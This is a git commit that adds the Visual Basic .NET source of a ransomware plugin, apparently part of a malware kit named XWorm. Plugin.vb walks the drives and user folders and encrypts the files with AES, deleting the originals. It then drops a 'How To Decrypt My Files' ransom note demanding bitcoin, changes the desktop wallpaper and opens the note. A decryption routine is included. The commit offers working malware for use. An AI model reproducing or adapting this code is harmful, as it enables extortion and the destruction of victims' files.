initial commit

This commit is contained in:
i2p
2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
Binary file not shown.
+22
View File
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Ransomware", "Ransomware\Ransomware.vbproj", "{86D3EE52-3AEC-4906-B4A2-41791E8858A5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{86D3EE52-3AEC-4906-B4A2-41791E8858A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{86D3EE52-3AEC-4906-B4A2-41791E8858A5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{86D3EE52-3AEC-4906-B4A2-41791E8858A5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{86D3EE52-3AEC-4906-B4A2-41791E8858A5}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1 @@
{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\Ransomware\\Ransomware","ProjectFileName":"Ransomware.vbproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Plugin.vb"},{"SourceFile":"My Project\\AssemblyInfo.vb"},{"SourceFile":"My Project\\Application.Designer.vb"},{"SourceFile":"My Project\\Resources.Designer.vb"},{"SourceFile":"My Project\\Settings.Designer.vb"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.vb"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Drawing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\XWorm\\bin\\Debug\\Plugins\\Ransomware.dll","OutputItemRelativePath":"Ransomware.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
@@ -0,0 +1,13 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>false</MySubMain>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<ApplicationType>1</ApplicationType>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("Ransomware")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("Ransomware")>
<Assembly: AssemblyCopyright("Copyright © 2021")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("86b5716f-a804-48a2-9d8f-b28ea39bab03")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("1.0.0.0")>
@@ -0,0 +1,101 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Plugin.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized string similar to &lt;!DOCTYPE html&gt;
'''&lt;html&gt;
'''
'''&lt;center&gt;
''' &lt;br&gt;
''' &lt;br&gt;
''' &lt;font size=&quot;6&quot;
''' face=&quot;verdana&quot;
''' color=&quot;#000000&quot;&gt;
''' Oops All Your Files Are Encrypted :(
''' &lt;/font&gt;
''' &lt;br&gt;
''' &lt;br&gt;
'''
''' &lt;font size=&quot;5&quot;
''' face=&quot;arial&quot;
''' color=&quot;#000000&quot;&gt;
''' Send %M% To This Bitcoin Address : %BTC%
''' &lt;/font&gt;
''' &lt;br&gt;
''' &lt;br&gt;
'''
''' &lt;font size=&quot;5&quot;
''' color=&quot;#000000&quot;&gt;
''' Contact Us : %Email%
''' &lt;/font&gt;
''' &lt;br&gt;
''' &lt;br&gt;
'''
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property html() As String
Get
Return ResourceManager.GetString("html", resourceCulture)
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="html" xml:space="preserve">
<value>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;center&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size="6"
face="verdana"
color="#000000"&gt;
Oops All Your Files Are Encrypted :(
&lt;/font&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size="5"
face="arial"
color="#000000"&gt;
Send %M% To This Bitcoin Address : %BTC%
&lt;/font&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size="5"
color="#000000"&gt;
Contact Us : %Email%
&lt;/font&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size="5"
color="#000000"&gt;
See You Soon !
&lt;/font&gt;
&lt;/body&gt;
&lt;/html&gt;</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.42000
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.14.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(sender As Global.System.Object, e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.Plugin.My.MySettings
Get
Return Global.Plugin.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
+497
View File
@@ -0,0 +1,497 @@
Imports System.IO
Imports System.Security.Cryptography
Public Class Plugin
Public Shared fsInput As System.IO.FileStream
Public Shared fsOutput As System.IO.FileStream
Public Shared bytKey As Byte()
Public Shared bytIV As Byte()
Public Shared list As List(Of String) = New List(Of String)()
Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Integer, ByVal uParam As Integer, ByVal lpvParam As String, ByVal fuWinIni As Integer) As Integer
Public Const SETDESKWALLPAPER = 20
Public Const UPDATEINIFILE = &H1
Public Shared html As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\How To Decrypt My Files.html"
Public Shared Function DEC(ByVal pass As String) As String
On Error Resume Next
bytKey = CreateKey(pass)
bytIV = CreateIV(pass)
For Each drive In Environment.GetLogicalDrives
Dim Driver As DriveInfo = New DriveInfo(drive)
If Driver.Name = Path.GetPathRoot(Environment.SystemDirectory()) Then
Else
For Each Dir As String In Directory.GetDirectories(drive)
If Dir.EndsWith("Bin") Then
Else
If Dir.EndsWith("indows") Then
Else
If Dir.EndsWith("tings") Then
Else
If Dir.EndsWith("System Volume Information") Then
Else
If Dir.EndsWith("cache") Then
Else
If Dir.EndsWith("very") Then
Else
If Dir.EndsWith("rogram Files (x86)") Then
Else
If Dir.EndsWith("rogram Files") Then
Else
If Dir.EndsWith("boot") Then
Else
If Dir.EndsWith("efi") Then
Else
If Dir.EndsWith(".old") Then
Else
For Each ifilesinfo As String In enc1(Dir)
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
list.Add(ifilesinfo)
End If
End If
Next
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
Next
For Each ifilesinfo As String In enc2(Driver.Name)
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
list.Add(ifilesinfo)
End If
End If
Next
End If
Next
For Each ifilesinfo As String In enc2((Environ$("USERPROFILE")))
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
list.Add(ifilesinfo)
End If
End If
Next
For Each Dir As String In Directory.GetDirectories((Environ$("USERPROFILE")))
For Each ifilesinfo As String In enc1(Dir)
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
list.Add(ifilesinfo)
End If
End If
Next
Next
For Each ifilesinfo As String In enc2((Environ$("USERPROFILE") & "\Documents"))
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
list.Add(ifilesinfo)
End If
End If
Next
For Each Dir As String In Directory.GetDirectories((Environ$("USERPROFILE") & "\Documents"))
For Each ifilesinfo As String In enc1(Dir)
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
list.Add(ifilesinfo)
End If
End If
Next
Next
For Each filename In list
If IO.File.Exists(filename) Then
DecryptFile(filename, filename.Replace(".ENC", ""),
bytKey, bytIV, CryptoAction.ActionDecrypt)
GC.Collect()
End If
Next
IO.File.Delete(html)
IO.File.Delete(IO.Path.GetTempPath & "XBackground.bmp")
SaveSetting("C", "0", "Ran.ENC", "")
Return "Ransomware Files Have Been Decrypted [" & list.Count.ToString & "]"
End Function
Public Shared Function ENC(ByVal pass As String, ByVal b As Byte(), ByVal btc As String, ByVal amount As String, ByVal email As String)
On Error Resume Next
If GetSetting("C", "0", "Ran.ENC") = "Done" Then
Return "Ransomware Files Already Encrypted!"
Else
bytKey = CreateKey(pass)
bytIV = CreateIV(pass)
For Each drive In Environment.GetLogicalDrives
Dim Driver As DriveInfo = New DriveInfo(drive)
If Driver.Name = Path.GetPathRoot(Environment.SystemDirectory()) Then
Else
For Each Dir As String In Directory.GetDirectories(drive)
If Dir.EndsWith("Bin") Then
Else
If Dir.EndsWith("indows") Then
Else
If Dir.EndsWith("tings") Then
Else
If Dir.EndsWith("System Volume Information") Then
Else
If Dir.EndsWith("cache") Then
Else
If Dir.EndsWith("very") Then
Else
If Dir.EndsWith("rogram Files (x86)") Then
Else
If Dir.EndsWith("rogram Files") Then
Else
If Dir.EndsWith("boot") Then
Else
If Dir.EndsWith("efi") Then
Else
If Dir.EndsWith(".old") Then
Else
For Each ifilesinfo As String In outonly(Dir, ".*")
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
If ifilesinfo.EndsWith(".ENC") Then
Else
list.Add(ifilesinfo)
End If
End If
End If
Next
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
Next
For Each ifilesinfo As String In inonly(Driver.Name, ".*")
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
If ifilesinfo.EndsWith(".ENC") Then
Else
list.Add(ifilesinfo)
End If
End If
End If
Next
End If
Next
For Each ifilesinfo As String In inonly(Environ$("USERPROFILE"), ".*")
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
If ifilesinfo.EndsWith(".ENC") Then
Else
list.Add(ifilesinfo)
End If
End If
End If
Next
For Each Dir As String In Directory.GetDirectories((Environ$("USERPROFILE")))
For Each ifilesinfo As String In outonly(Dir, ".*")
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
If ifilesinfo.EndsWith(".ENC") Then
Else
list.Add(ifilesinfo)
End If
End If
End If
Next
Next
For Each ifilesinfo As String In inonly(Environ$("USERPROFILE") & "\Documents", ".*")
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
If ifilesinfo.EndsWith(".ENC") Then
Else
list.Add(ifilesinfo)
End If
End If
End If
Next
For Each Dir As String In Directory.GetDirectories((Environ$("USERPROFILE") & "\Documents"))
For Each ifilesinfo As String In outonly(Dir, ".*")
If ifilesinfo = Nothing Then
Else
If list.Contains(ifilesinfo) Then
Else
If ifilesinfo.EndsWith(".ENC") Then
Else
list.Add(ifilesinfo)
End If
End If
End If
Next
Next
For Each ifilesinfo In list
If IO.File.Exists(ifilesinfo) Then
EncryptOrDecryptFile(ifilesinfo, ifilesinfo & ".ENC",
bytKey, bytIV, CryptoAction.ActionEncrypt)
GC.Collect()
End If
Next
Dim stb As String = My.Resources.html
stb = stb.Replace("%M%", "$" & amount)
stb = stb.Replace("%BTC%", btc)
stb = stb.Replace("%Email%", email)
Dim objWriter As New System.IO.StreamWriter(html, False)
objWriter.WriteLine(stb)
objWriter.Close()
Dim tmp As String = IO.Path.GetTempPath & "XBackground.bmp"
Dim img As System.Drawing.Image
Dim MS As System.IO.MemoryStream = New System.IO.MemoryStream
MS = New System.IO.MemoryStream(b)
img = System.Drawing.Image.FromStream(MS)
img.Save(tmp, System.Drawing.Imaging.ImageFormat.Bmp)
SystemParametersInfo(SETDESKWALLPAPER, 0, tmp, UPDATEINIFILE)
Process.Start(html)
SaveSetting("C", "0", "Ran.ENC", "Done")
Return "Ransomware Files Have Been Encrypted [" & list.Count.ToString & "]"
End If
End Function
Public Enum CryptoAction
ActionEncrypt = 1
ActionDecrypt = 2
End Enum
Public Shared Sub EncryptOrDecryptFile(ByVal strInputFile As String,
ByVal strOutputFile As String,
ByVal bytKey() As Byte,
ByVal bytIV() As Byte,
ByVal Direction As CryptoAction)
On Error Resume Next
fsInput = New System.IO.FileStream(strInputFile, FileMode.Open,
FileAccess.Read)
fsOutput = New System.IO.FileStream(strOutputFile, FileMode.OpenOrCreate,
FileAccess.Write)
fsOutput.SetLength(0)
Dim bytBuffer(4096) As Byte
Dim lngBytesProcessed As Long = 0
Dim lngFileLength As Long = fsInput.Length
Dim intBytesInCurrentBlock As Integer
Dim csCryptoStream As CryptoStream
Dim cspRijndael As New System.Security.Cryptography.RijndaelManaged
Select Case Direction
Case CryptoAction.ActionEncrypt
csCryptoStream = New CryptoStream(fsOutput,
cspRijndael.CreateEncryptor(bytKey, bytIV),
CryptoStreamMode.Write)
End Select
While lngBytesProcessed < lngFileLength
intBytesInCurrentBlock = fsInput.Read(bytBuffer, 0, 4096)
csCryptoStream.Write(bytBuffer, 0, intBytesInCurrentBlock)
lngBytesProcessed = lngBytesProcessed + CLng(intBytesInCurrentBlock)
End While
csCryptoStream.Close()
fsInput.Close()
fsOutput.Close()
If Direction = CryptoAction.ActionEncrypt Then
Dim fileOriginal As New FileInfo(strInputFile)
fileOriginal.Delete()
End If
End Sub
Public Shared Sub DecryptFile(ByVal strInputFile As String,
ByVal strOutputFile As String,
ByVal bytKey() As Byte,
ByVal bytIV() As Byte,
ByVal Direction As CryptoAction)
On Error Resume Next
fsInput = New System.IO.FileStream(strInputFile, FileMode.Open,
FileAccess.Read)
fsOutput = New System.IO.FileStream(strOutputFile, FileMode.OpenOrCreate,
FileAccess.Write)
fsOutput.SetLength(0)
Dim bytBuffer(4096) As Byte
Dim lngBytesProcessed As Long = 0
Dim lngFileLength As Long = fsInput.Length
Dim intBytesInCurrentBlock As Integer
Dim csCryptoStream As CryptoStream
Dim cspRijndael As New System.Security.Cryptography.RijndaelManaged
Select Case Direction
Case CryptoAction.ActionDecrypt
csCryptoStream = New CryptoStream(fsOutput,
cspRijndael.CreateDecryptor(bytKey, bytIV),
CryptoStreamMode.Write)
End Select
While lngBytesProcessed < lngFileLength
intBytesInCurrentBlock = fsInput.Read(bytBuffer, 0, 4096)
csCryptoStream.Write(bytBuffer, 0, intBytesInCurrentBlock)
lngBytesProcessed = lngBytesProcessed + CLng(intBytesInCurrentBlock)
End While
csCryptoStream.Close()
fsInput.Close()
fsOutput.Close()
If Direction = CryptoAction.ActionDecrypt Then
Dim fileEncrypted As New FileInfo(strInputFile)
fileEncrypted.Delete()
End If
If Direction = CryptoAction.ActionDecrypt Then
Dim fileDelete As New FileInfo(strInputFile)
fileDelete.Delete()
End If
End Sub
Public Shared Function CreateKey(ByVal strPassword As String) As Byte()
Dim chrData() As Char = strPassword.ToCharArray
Dim intLength As Integer = chrData.GetUpperBound(0)
Dim bytDataToHash(intLength) As Byte
For i As Integer = 0 To chrData.GetUpperBound(0)
bytDataToHash(i) = CByte(Asc(chrData(i)))
Next
Dim SHA512 As New System.Security.Cryptography.SHA512Managed
Dim bytResult As Byte() = SHA512.ComputeHash(bytDataToHash)
Dim bytKey(31) As Byte
For i As Integer = 0 To 31
bytKey(i) = bytResult(i)
Next
Return bytKey
End Function
Public Shared Function CreateIV(ByVal strPassword As String) As Byte()
Dim chrData() As Char = strPassword.ToCharArray
Dim intLength As Integer = chrData.GetUpperBound(0)
Dim bytDataToHash(intLength) As Byte
For i As Integer = 0 To chrData.GetUpperBound(0)
bytDataToHash(i) = CByte(Asc(chrData(i)))
Next
Dim SHA512 As New System.Security.Cryptography.SHA512Managed
Dim bytResult As Byte() = SHA512.ComputeHash(bytDataToHash)
Dim bytIV(15) As Byte
For i As Integer = 32 To 47
bytIV(i - 32) = bytResult(i)
Next
Return bytIV
End Function
Public Shared Function outonly(ruta As String, mExtesiones As String)
Return (From ifilesinfo In IO.Directory.GetFiles(ruta, "*" & mExtesiones, IO.SearchOption.AllDirectories))
End Function
Public Shared Function inonly(ruta As String, mExtesiones As String)
Return (From ifilesinfo In IO.Directory.GetFiles(ruta, "*" & mExtesiones))
End Function
Public Shared Function enc1(ruta As String)
Return (From ifilesinfo In IO.Directory.GetFiles(ruta, "*" & ".ENC", IO.SearchOption.AllDirectories))
End Function
Public Shared Function enc2(ruta As String)
Return (From ifilesinfo In IO.Directory.GetFiles(ruta, "*" & ".ENC"))
End Function
End Class
@@ -0,0 +1,116 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{86D3EE52-3AEC-4906-B4A2-41791E8858A5}</ProjectGuid>
<OutputType>Library</OutputType>
<RootNamespace>Plugin</RootNamespace>
<AssemblyName>Ransomware</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>Windows</MyType>
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>false</DebugSymbols>
<DebugType>none</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
<DocumentationFile>
</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>
</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Xml" />
